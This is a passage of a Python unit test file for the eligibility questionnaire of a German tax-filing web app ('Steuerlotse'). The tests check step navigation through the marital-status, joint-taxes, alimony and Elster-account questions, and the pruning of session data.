'separated_since_last_year_eligibility': 'no'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'joint_taxes_eligibility': 'yes'})) expected_url = step.url_for_step(MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_failure_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'joint_taxes_eligibility': 'no'})) expected_url = step.url_for_step(MarriedJointTaxesEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SeparatedEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with self.app.test_request_context(method='POST'), \ patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'joint_taxes_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestMarriedAlimonyEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.test_request_context = test_request_context def test_handle_sets_correct_prev_url(self): step = MarriedAlimonyEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=MarriedAlimonyEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestMarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'alimony_eligibility': 'no'})) expected_url = step.url_for_step(UserAElsterAccountEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_failure_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'alimony_eligibility': 'yes'})) expected_url = step.url_for_step(MarriedAlimonyEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_not_separated_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_separated_correct_session_data_then_set_prev_input_step_correctly(self): alternative_data = {**self.correct_session_data, **{'separated_since_last_year_eligibility': 'yes', 'separated_lived_together_eligibility': 'yes', 'separated_joint_taxes_eligibility': 'yes'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with self.app.test_request_context(method='POST'), \ patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'alimony_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_multiple_users_then_show_multiple_text(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes'} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.alimony.yes', 'form.eligibility.alimony.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.alimony.no', 'form.eligibility.alimony.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.alimony_eligibility.choices) def test_if_single_user_then_show_single_text(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'no'} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.alimony.yes', 'form.eligibility.alimony.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.alimony.no', 'form.eligibility.alimony.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.alimony_eligibility.choices) class TestUserAElsterAccountEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserAElsterAccountEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_a_has_elster_account_eligibility': 'no'})) expected_url = step.url_for_step(PensionDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserAElsterAccountEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_a_has_elster_account_eligibility': 'yes'})) expected_url = step.url_for_step(UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserAElsterAccountEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( UserAElsterAccountEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_a_has_elster_account_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserAElsterAccountEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserAElsterAccountEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserAElsterAccountEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestUserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_b_has_elster_account_eligibility': 'no'})) expected_url = step.url_for_step(PensionDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_b_has_elster_account_eligibility': 'yes'})) expected_url = step.url_for_step(PensionDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(UserAElsterAccountEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_b_has_elster_account_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestDivorcedJointTaxesEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def test_handle_sets_correct_prev_url(self): step = DivorcedJointTaxesEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=DivorcedJointTaxesEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestDivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'joint_taxes_eligibility': 'no'})) expected_url = step.url_for_step(SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'joint_taxes_eligibility': 'yes'})) expected_url = step.url_for_step(DivorcedJointTaxesEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MaritalStatusInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'joint_taxes_eligibility': 'no'})) with pytest.raises(IncorrectEligibilityData): step.handle() def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'joint_taxes_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'joint_taxes_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'joint_taxes_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestSingleAlimonyEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def test_handle_sets_correct_prev_url(self): step = SingleAlimonyEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=SingleAlimonyEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestSingleAlimonyDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'alimony_eligibility': 'no'})) expected_url = step.url_for_step(SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'alimony_eligibility': 'yes'})) expected_url = step.url_for_step(SingleAlimonyEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_divorced_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_single_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {'marital_status_eligibility': 'single'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MaritalStatusInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_widowed_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {'marital_status_eligibility': 'widowed'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MaritalStatusInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_separated_not_lived_together_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'yes', 'separated_lived_together_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_separated_not_joint_taxes_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'yes', 'separated_lived_together_eligibility': 'yes', 'separated_joint_taxes_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', 